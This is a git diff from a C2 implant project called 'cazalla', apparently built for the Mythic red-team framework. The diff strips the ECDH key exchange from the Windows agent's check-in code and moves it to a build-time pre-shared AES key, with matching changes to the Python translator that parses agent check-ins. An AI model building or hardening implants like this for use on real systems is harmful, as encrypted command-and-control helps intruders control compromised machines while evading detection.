diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 907de61..b962788 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -153,35 +153,8 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) { DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); - // === Leer clave pública del servidor y derivar AES si cifrado está habilitado === - if (cazallaConfig->encryptionEnabled) { - SIZE_T tamanoClave = 0; - PCHAR pub_server = getString(respuestaAnalizador, &tamanoClave); - - if (pub_server && tamanoClave > 0) { - printf("[CHECKIN] Recibida clave pública del servidor (%zu bytes)...\n", tamanoClave); - fflush(stdout); - - if (!crypto_import_peer_pub_b64_and_derive_aes(pub_server)) { - printf("[CHECKIN] ERROR: fallo al derivar AES desde clave pública del servidor\n"); - fflush(stdout); - liberarAnalizador(respuestaAnalizador); - return FALSE; - } - - printf("[CHECKIN] AES derivada correctamente\n"); - fflush(stdout); - - } else { - printf("[CHECKIN] ERROR: no se recibió clave pública del servidor (tam=%zu)\n", tamanoClave); - fflush(stdout); - liberarAnalizador(respuestaAnalizador); - return FALSE; - } - } else { - printf("[CHECKIN] Cifrado deshabilitado: no se procesa clave pública\n"); - fflush(stdout); - } + // === Nota: Cifrado AESPSK ya inicializado en cazallaMain() === + // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime liberarAnalizador(respuestaAnalizador); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c index b0775a6..0d26d5a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c @@ -57,13 +57,9 @@ #define SHA256_HASH_SIZE 32 // Globals (simple single-agent context) -static BCRYPT_KEY_HANDLE g_currentKey = NULL; -static BCRYPT_ALG_HANDLE g_algECDH = NULL; static unsigned char g_aesKey[AES_KEY_SIZE]; static int g_aesKeySet = 0; static int g_encryptionEnabled = 0; // Track if encryption is enabled -static unsigned char g_pubRaw[512]; -static DWORD g_pubRawLen = 0; // Helpers static void secure_zero(void *p, SIZE_T n) { @@ -73,170 +69,7 @@ static void secure_zero(void *p, SIZE_T n) { void crypto_cleanup(void) { secure_zero(g_aesKey, sizeof(g_aesKey)); g_aesKeySet = 0; - if (g_currentKey) { - BCryptDestroyKey(g_currentKey); - g_currentKey = NULL; - } - if (g_algECDH) { - BCryptCloseAlgorithmProvider(g_algECDH, 0); - g_algECDH = NULL; - } - secure_zero(g_pubRaw, sizeof(g_pubRaw)); - g_pubRawLen = 0; -} - -// Generate ECDH P-256 key pair and export public raw (X||Y in ANSI X9.62 uncompressed form). -BOOL crypto_init_generate_pub_b64(char **pub_b64_out) { - NTSTATUS status; - DWORD keySize = 0; - DWORD resultLen = 0; - - crypto_cleanup(); - - // Open ECDH algorithm provider (nistP256) - status = BCryptOpenAlgorithmProvider(&g_algECDH, BCRYPT_ECDH_P256_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0); - if (!BCRYPT_SUCCESS(status)) return FALSE; - - // Generate ephemeral key pair - status = BCryptGenerateKeyPair(g_algECDH, &g_currentKey, 256, 0); - if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; } - - status = BCryptFinalizeKeyPair(g_currentKey, 0); - if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; } - - // Export public key in BCRYPT_ECCPUBLIC_BLOB format to know size - status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, NULL, 0, &resultLen, 0); - if (!BCRYPT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) { crypto_cleanup(); return FALSE; } - - PBYTE pubBlob = (PBYTE)LocalAlloc(LPTR, resultLen); - if (!pubBlob) { crypto_cleanup(); return FALSE; } - - status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, pubBlob, resultLen, &resultLen, 0); - if (!BCRYPT_SUCCESS(status)) { LocalFree(pubBlob); crypto_cleanup(); return FALSE; } - - // BCRYPT_ECCPUBLIC_BLOB layout: ULONG dwMagic; ULONG cbKey; then X then Y - // For P-256, cbKey == 32 - DWORD *magic = (DWORD*)pubBlob; - DWORD *cbKey = (DWORD*)(pubBlob + sizeof(DWORD)); - PBYTE x = pubBlob + sizeof(DWORD)*2; - PBYTE y = x + (*cbKey); - - // Produce uncompressed raw public point = 0x04 || X || Y - g_pubRawLen = 1 + (*cbKey) * 2; - g_pubRaw[0] = 0x04; - memcpy(g_pubRaw + 1, x, *cbKey); - memcpy(g_pubRaw + 1 + (*cbKey), y, *cbKey); - - // Base64 encode - char *b64 = NULL; - if (!base64_encode(g_pubRaw, g_pubRawLen, &b64)) { - LocalFree(pubBlob); - crypto_cleanup(); - return FALSE; - } - - *pub_b64_out = b64; // caller must LocalFree when done - - LocalFree(pubBlob); - return TRUE; -} - -// Return public raw (LocalAlloc copy) -unsigned char *crypto_get_public_raw(DWORD *out_len) { - if (!g_pubRawLen) { *out_len = 0; return NULL; } - unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, g_pubRawLen); - if (!buf) { *out_len = 0; return NULL; } - memcpy(buf, g_pubRaw, g_pubRawLen); - *out_len = g_pubRawLen; - return buf; -} - -// Import peer public key (base64 of uncompressed point 0x04||X||Y), derive shared secret and set AES key = SHA256(shared) -BOOL crypto_import_peer_pub_b64_and_derive_aes(const char *peer_pub_b64) { - if (!peer_pub_b64) return FALSE; - unsigned char *raw = NULL; - size_t rawlen = 0; - if (!base64_decode(peer_pub_b64, &raw, &rawlen)) return FALSE; - if (!raw || rawlen < 1) { if (raw) LocalFree(raw); return FALSE; } - if (raw[0] != 0x04) { LocalFree(raw); return FALSE; } // expect uncompressed point - - // Convert raw to BCRYPT_ECCPUBLIC_BLOB layout for import: dwMagic, cbKey, X, Y - DWORD cbKey = (DWORD)((rawlen - 1) / 2); - DWORD blobLen = sizeof(DWORD)*2 + cbKey*2; - PBYTE blob = (PBYTE)LocalAlloc(LPTR, blobLen); - if (!blob) { LocalFree(raw); return FALSE; } - - // dwMagic: use BCRYPT_ECDH_PUBLIC_P256_MAGIC - DWORD *pmagic = (DWORD*)blob; - *pmagic = BCRYPT_ECDH_PUBLIC_P256_MAGIC; - DWORD *pcb = (DWORD*)(blob + sizeof(DWORD)); - *pcb = cbKey; - memcpy(blob + sizeof(DWORD)*2, raw + 1, cbKey); // X - memcpy(blob + sizeof(DWORD)*2 + cbKey, raw + 1 + cbKey, cbKey); // Y - - // Import as a public key - BCRYPT_KEY_HANDLE pubKey = NULL; - NTSTATUS status = BCryptImportKeyPair(g_algECDH, NULL, BCRYPT_ECCPUBLIC_BLOB, &pubKey, blob, blobLen, 0); - if (!BCRYPT_SUCCESS(status)) { - LocalFree(blob); LocalFree(raw); - return FALSE; - } - - // Derive secret via BCryptSecretAgreement + BCryptDeriveKey - BCRYPT_SECRET_HANDLE secret = NULL; - status = BCryptSecretAgreement(g_currentKey, pubKey, &secret, 0); - if (!BCRYPT_SUCCESS(status)) { - BCryptDestroyKey(pubKey); - LocalFree(blob); LocalFree(raw); - return FALSE; - } - - // Derive raw secret bytes using KDF: use BCryptDeriveKey with NULL mapping to get raw secret? - // Simpler: use BCryptDeriveKey with algorithm AES and use derived key bytes via KDF_SP800_56a_Counter (Windows default) - // We'll use BCryptDeriveKey with AES to obtain a 256-bit key directly into our g_aesKey. - BCRYPT_ALG_HANDLE aesAlg = NULL; - status = BCryptOpenAlgorithmProvider(&aesAlg, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0); - if (!BCRYPT_SUCCESS(status)) { - BCryptDestroySecret(secret); - BCryptDestroyKey(pubKey); - LocalFree(blob); LocalFree(raw); - return FALSE; - } - - // Prepare KDF parameters: we'll request raw key material of length AES_KEY_SIZE - DWORD derivedKeyLen = AES_KEY_SIZE; - PBYTE derivedKey = (PBYTE)LocalAlloc(LPTR, derivedKeyLen); - if (!derivedKey) { - BCryptCloseAlgorithmProvider(aesAlg,0); - BCryptDestroySecret(secret); - BCryptDestroyKey(pubKey); - LocalFree(blob); LocalFree(raw); - return FALSE; - } - - status = BCryptDeriveKey(secret, NULL, NULL, derivedKey, derivedKeyLen, &derivedKeyLen, 0); - if (!BCRYPT_SUCCESS(status)) { - LocalFree(derivedKey); - BCryptCloseAlgorithmProvider(aesAlg,0); - BCryptDestroySecret(secret); - BCryptDestroyKey(pubKey); - LocalFree(blob); LocalFree(raw); - return FALSE; - } - - // Set g_aesKey to derivedKey - memcpy(g_aesKey, derivedKey, AES_KEY_SIZE); - g_aesKeySet = 1; - - // cleanup - secure_zero(derivedKey, derivedKeyLen); - LocalFree(derivedKey); - BCryptCloseAlgorithmProvider(aesAlg,0); - BCryptDestroySecret(secret); - BCryptDestroyKey(pubKey); - LocalFree(blob); - LocalFree(raw); - return TRUE; + g_encryptionEnabled = 0; } // Initialize AESPSK key from base64 string (Mythic format) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index 4b72c7a..e569294 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -85,14 +85,6 @@ SIZE_T b64tamanoDecodificado(const char* in) { return ret; } -int b64IsValidChar(char c) { - if (c >= '0' && c <= '9') return 1; - if (c >= 'A' && c <= 'Z') return 1; - if (c >= 'a' && c <= 'z') return 1; - if (c == '+' || c == '/' || c == '=') return 1; - return 0; -} - static int b64_inverse(char c) { if (c >= 'A' && c <= 'Z') return c - 'A'; if (c >= 'a' && c <= 'z') return c - 'a' + 26; diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 2550b3a..85eb3d4 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -102,21 +102,13 @@ def responseTasking(tasks): def responseCheckin(uuid, server_pubkey=""): """ Construye la respuesta de checkin. - Incluye la clave pública ECC del servidor (base64) para que el agente derive la AES. + Nota: server_pubkey ya no se usa (cifrado AESPSK se inyecta en build time). """ data = bytearray() data.append(commands["checkin"]["hex_code"]) # 0xF1 data += uuid.encode() # UUID del agente - - # Si hay clave pública, añadirla con longitud (DWORD) + datos - if server_pubkey: - key_bytes = server_pubkey.encode() - data += len(key_bytes).to_bytes(4, "big") - data += key_bytes - print(f"[DEBUG] Añadida server_pubkey ({len(key_bytes)} bytes)") - else: - data += (0).to_bytes(4, "big") - print("[DEBUG] Sin server_pubkey en checkin") + # Longitud 0 para clave pública (ya no se usa ECDH) + data += (0).to_bytes(4, "big") return bytes(data) diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 4d1705b..63de62b 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -52,14 +52,16 @@ def checkIn(data): # Retrieve External IP externalIP, data = getBytesWithSize(data) - # === Retrieve ECC Public Key if present === - pub_key = None + # Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time) + # Leemos y descartamos la longitud (4 bytes) que siempre será 0 try: - pub_key, data = getBytesWithSize(data) - pub_key = pub_key.decode() if pub_key else None - print(f"[DEBUG] Clave pública ECC recibida: {pub_key[:60]}...") # truncada - except Exception as e: - print(f"[DEBUG] No se recibió clave pública ECC: {e}") + key_len = int.from_bytes(data[:4], "big") + data = data[4:] + if key_len > 0: + # Descarta los datos de la clave si existen (código legacy) + data = data[key_len:] + except: + pass dataJson = { "action": "checkin", @@ -75,9 +77,6 @@ def checkIn(data): "externalIP": externalIP.decode('cp850'), } - if pub_key: - dataJson["pub_key"] = pub_key - return dataJson diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index ea23498..36f2864 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -131,8 +131,7 @@ class cazalla_translator(TranslationContainer): if inputMsg.Message["action"] == "checkin": print("Response CHECKIN") - server_pubkey = inputMsg.Message.get("server_key", "") - response.Message = responseCheckin(inputMsg.Message["id"], server_pubkey) + response.Message = responseCheckin(inputMsg.Message["id"]) elif inputMsg.Message["action"] == "get_tasking": print("Response TASKING")